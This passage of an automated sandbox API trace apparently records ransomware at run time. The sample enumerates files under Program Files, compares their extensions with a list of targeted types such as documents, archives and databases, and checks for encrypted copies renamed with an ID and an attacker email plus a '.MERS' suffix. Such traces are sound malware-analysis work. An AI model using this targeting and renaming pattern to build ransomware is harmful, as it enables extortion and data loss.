lpString2=".avi") returned 1 [0258.775] lstrlenW (lpString=".7z") returned 3 [0258.775] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0258.775] lstrlenW (lpString=".dbf") returned 4 [0258.775] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0258.775] lstrlenW (lpString=".1cd") returned 4 [0258.775] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0258.775] lstrlenW (lpString=".jpg") returned 4 [0258.775] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0258.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0258.775] lstrlenW (lpString=".doc") returned 4 [0258.775] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.775] lstrlenW (lpString=".docx") returned 5 [0258.775] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0258.775] lstrlenW (lpString=".pdf") returned 4 [0258.776] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.776] lstrlenW (lpString=".xls") returned 4 [0258.776] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.776] lstrlenW (lpString=".xlsx") returned 5 [0258.776] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0258.776] lstrlenW (lpString=".ppt") returned 4 [0258.776] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0258.776] lstrlenW (lpString=".zip") returned 4 [0258.776] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.776] lstrlenW (lpString=".rar") returned 4 [0258.776] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.776] lstrlenW (lpString=".bz2") returned 4 [0258.776] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.776] lstrlenW (lpString=".7z") returned 3 [0258.776] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0258.776] lstrlenW (lpString=".dbf") returned 4 [0258.776] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0258.776] lstrlenW (lpString=".1cd") returned 4 [0258.776] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0258.776] lstrlenW (lpString=".jpg") returned 4 [0258.776] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.776] lstrcmpiW (lpString1=".emf", lpString2=".MERS") returned -1 [0258.776] lstrlenW (lpString="Graph.emf") returned 9 [0258.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0258.829] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=116724) returned 1 [0258.829] CloseHandle (hObject=0x318) returned 1 [0258.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0258.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0258.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0258.829] lstrlenW (lpString=".doc") returned 4 [0258.829] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0258.829] lstrlenW (lpString=".docx") returned 5 [0258.829] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0258.829] lstrlenW (lpString=".pdf") returned 4 [0258.829] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0258.829] lstrlenW (lpString=".xls") returned 4 [0258.829] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0258.829] lstrlenW (lpString=".xlsx") returned 5 [0258.829] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0258.829] lstrlenW (lpString=".ppt") returned 4 [0258.829] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0258.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0258.829] lstrlenW (lpString=".zip") returned 4 [0258.829] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0258.829] lstrlenW (lpString=".rar") returned 4 [0258.830] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0258.830] lstrlenW (lpString=".bz2") returned 4 [0258.830] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0258.830] lstrlenW (lpString=".7z") returned 3 [0258.830] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0258.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0258.830] lstrlenW (lpString=".dbf") returned 4 [0258.830] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0258.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0258.830] lstrlenW (lpString=".1cd") returned 4 [0258.830] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0258.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0258.830] lstrlenW (lpString=".jpg") returned 4 [0258.830] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0258.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0258.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0258.830] lstrlenW (lpString=".doc") returned 4 [0258.830] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0258.830] lstrlenW (lpString=".docx") returned 5 [0258.830] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0258.830] lstrlenW (lpString=".pdf") returned 4 [0258.830] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0258.830] lstrlenW (lpString=".xls") returned 4 [0258.830] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0258.830] lstrlenW (lpString=".xlsx") returned 5 [0258.830] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0258.830] lstrlenW (lpString=".ppt") returned 4 [0258.830] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0258.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0258.831] lstrlenW (lpString=".zip") returned 4 [0258.831] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0258.831] lstrlenW (lpString=".rar") returned 4 [0258.831] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0258.831] lstrlenW (lpString=".bz2") returned 4 [0258.831] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0258.831] lstrlenW (lpString=".7z") returned 3 [0258.831] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0258.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0258.831] lstrlenW (lpString=".dbf") returned 4 [0258.831] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0258.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0258.831] lstrlenW (lpString=".1cd") returned 4 [0258.831] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0258.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0258.831] lstrlenW (lpString=".jpg") returned 4 [0258.831] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0258.831] lstrcmpiW (lpString1=".jpg", lpString2=".MERS") returned -1 [0258.831] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0258.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0258.831] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=6406) returned 1 [0258.831] CloseHandle (hObject=0x318) returned 1 [0258.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0258.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0258.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0258.832] lstrlenW (lpString=".doc") returned 4 [0258.832] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0258.832] lstrlenW (lpString=".docx") returned 5 [0258.832] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0258.832] lstrlenW (lpString=".pdf") returned 4 [0258.832] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0258.832] lstrlenW (lpString=".xls") returned 4 [0258.832] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0258.832] lstrlenW (lpString=".xlsx") returned 5 [0258.832] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0258.832] lstrlenW (lpString=".ppt") returned 4 [0258.832] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0258.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0258.832] lstrlenW (lpString=".zip") returned 4 [0258.832] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0258.832] lstrlenW (lpString=".rar") returned 4 [0258.832] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0258.832] lstrlenW (lpString=".bz2") returned 4 [0258.832] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0258.832] lstrlenW (lpString=".7z") returned 3 [0258.832] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0258.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0258.832] lstrlenW (lpString=".dbf") returned 4 [0258.833] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0258.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0258.833] lstrlenW (lpString=".1cd") returned 4 [0258.833] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0258.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0258.833] lstrlenW (lpString=".jpg") returned 4 [0258.833] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0258.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0258.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0258.833] lstrlenW (lpString=".doc") returned 4 [0258.833] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0258.833] lstrlenW (lpString=".docx") returned 5 [0258.833] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0258.833] lstrlenW (lpString=".pdf") returned 4 [0258.833] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0258.833] lstrlenW (lpString=".xls") returned 4 [0258.833] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0258.833] lstrlenW (lpString=".xlsx") returned 5 [0258.833] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0258.833] lstrlenW (lpString=".ppt") returned 4 [0258.833] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0258.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0258.833] lstrlenW (lpString=".zip") returned 4 [0258.833] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0258.833] lstrlenW (lpString=".rar") returned 4 [0258.833] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0258.834] lstrlenW (lpString=".bz2") returned 4 [0258.834] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0258.834] lstrlenW (lpString=".7z") returned 3 [0258.834] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0258.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0258.834] lstrlenW (lpString=".dbf") returned 4 [0258.834] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0258.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0258.834] lstrlenW (lpString=".1cd") returned 4 [0258.834] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0258.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0258.834] lstrlenW (lpString=".jpg") returned 4 [0258.834] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0258.834] lstrcmpiW (lpString1=".wmf", lpString2=".MERS") returned 1 [0258.834] lstrlenW (lpString="grid_(cm).wmf") returned 13 [0258.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0258.834] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=2920) returned 1 [0258.834] CloseHandle (hObject=0x318) returned 1 [0258.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0258.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0258.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0258.835] lstrlenW (lpString=".doc") returned 4 [0258.835] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0258.835] lstrlenW (lpString=".docx") returned 5 [0258.835] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0258.835] lstrlenW (lpString=".pdf") returned 4 [0258.835] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0258.835] lstrlenW (lpString=".xls") returned 4 [0258.835] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0258.835] lstrlenW (lpString=".xlsx") returned 5 [0258.835] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0258.835] lstrlenW (lpString=".ppt") returned 4 [0258.835] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0258.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0258.835] lstrlenW (lpString=".zip") returned 4 [0258.835] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0258.835] lstrlenW (lpString=".rar") returned 4 [0258.835] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0258.835] lstrlenW (lpString=".bz2") returned 4 [0258.835] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0258.835] lstrlenW (lpString=".7z") returned 3 [0258.835] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0258.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0258.836] lstrlenW (lpString=".dbf") returned 4 [0258.836] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0258.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0258.836] lstrlenW (lpString=".1cd") returned 4 [0258.836] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0258.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0258.836] lstrlenW (lpString=".jpg") returned 4 [0258.836] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0258.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0258.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0258.836] lstrlenW (lpString=".doc") returned 4 [0258.836] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0258.836] lstrlenW (lpString=".docx") returned 5 [0258.836] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0258.836] lstrlenW (lpString=".pdf") returned 4 [0258.836] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0258.836] lstrlenW (lpString=".xls") returned 4 [0258.836] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0258.836] lstrlenW (lpString=".xlsx") returned 5 [0258.836] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0258.836] lstrlenW (lpString=".ppt") returned 4 [0258.836] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0258.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0258.836] lstrlenW (lpString=".zip") returned 4 [0258.836] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0258.836] lstrlenW (lpString=".rar") returned 4 [0258.837] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0258.837] lstrlenW (lpString=".bz2") returned 4 [0258.837] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0258.837] lstrlenW (lpString=".7z") returned 3 [0258.837] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0258.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0258.837] lstrlenW (lpString=".dbf") returned 4 [0258.837] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0258.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0258.837] lstrlenW (lpString=".1cd") returned 4 [0258.837] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0258.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0258.837] lstrlenW (lpString=".jpg") returned 4 [0258.837] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0258.837] lstrcmpiW (lpString1=".wmf", lpString2=".MERS") returned 1 [0258.837] lstrlenW (lpString="grid_(inch).wmf") returned 15 [0258.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0258.837] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=7498) returned 1 [0258.837] CloseHandle (hObject=0x318) returned 1 [0258.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0258.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0258.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0258.838] lstrlenW (lpString=".doc") returned 4 [0258.838] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0258.838] lstrlenW (lpString=".docx") returned 5 [0258.838] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0258.838] lstrlenW (lpString=".pdf") returned 4 [0258.838] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0258.838] lstrlenW (lpString=".xls") returned 4 [0258.838] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0258.838] lstrlenW (lpString=".xlsx") returned 5 [0258.838] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0258.838] lstrlenW (lpString=".ppt") returned 4 [0258.838] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0258.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0258.838] lstrlenW (lpString=".zip") returned 4 [0258.838] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0258.838] lstrlenW (lpString=".rar") returned 4 [0258.838] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0258.838] lstrlenW (lpString=".bz2") returned 4 [0258.838] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0258.838] lstrlenW (lpString=".7z") returned 3 [0258.839] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0258.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0258.839] lstrlenW (lpString=".dbf") returned 4 [0258.839] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0258.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0258.839] lstrlenW (lpString=".1cd") returned 4 [0258.839] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0258.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0258.839] lstrlenW (lpString=".jpg") returned 4 [0258.839] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0258.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0258.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0258.839] lstrlenW (lpString=".doc") returned 4 [0258.839] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0258.839] lstrlenW (lpString=".docx") returned 5 [0258.839] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0258.839] lstrlenW (lpString=".pdf") returned 4 [0258.839] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0258.839] lstrlenW (lpString=".xls") returned 4 [0258.839] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0258.839] lstrlenW (lpString=".xlsx") returned 5 [0258.839] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0258.839] lstrlenW (lpString=".ppt") returned 4 [0258.839] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0258.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0258.839] lstrlenW (lpString=".zip") returned 4 [0258.840] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0258.840] lstrlenW (lpString=".rar") returned 4 [0258.840] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0258.840] lstrlenW (lpString=".bz2") returned 4 [0258.840] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0258.840] lstrlenW (lpString=".7z") returned 3 [0258.840] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0258.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0258.840] lstrlenW (lpString=".dbf") returned 4 [0258.840] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0258.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0258.840] lstrlenW (lpString=".1cd") returned 4 [0258.840] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0258.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0258.840] lstrlenW (lpString=".jpg") returned 4 [0258.840] lstrcmpiW (lpString1=".jpg", 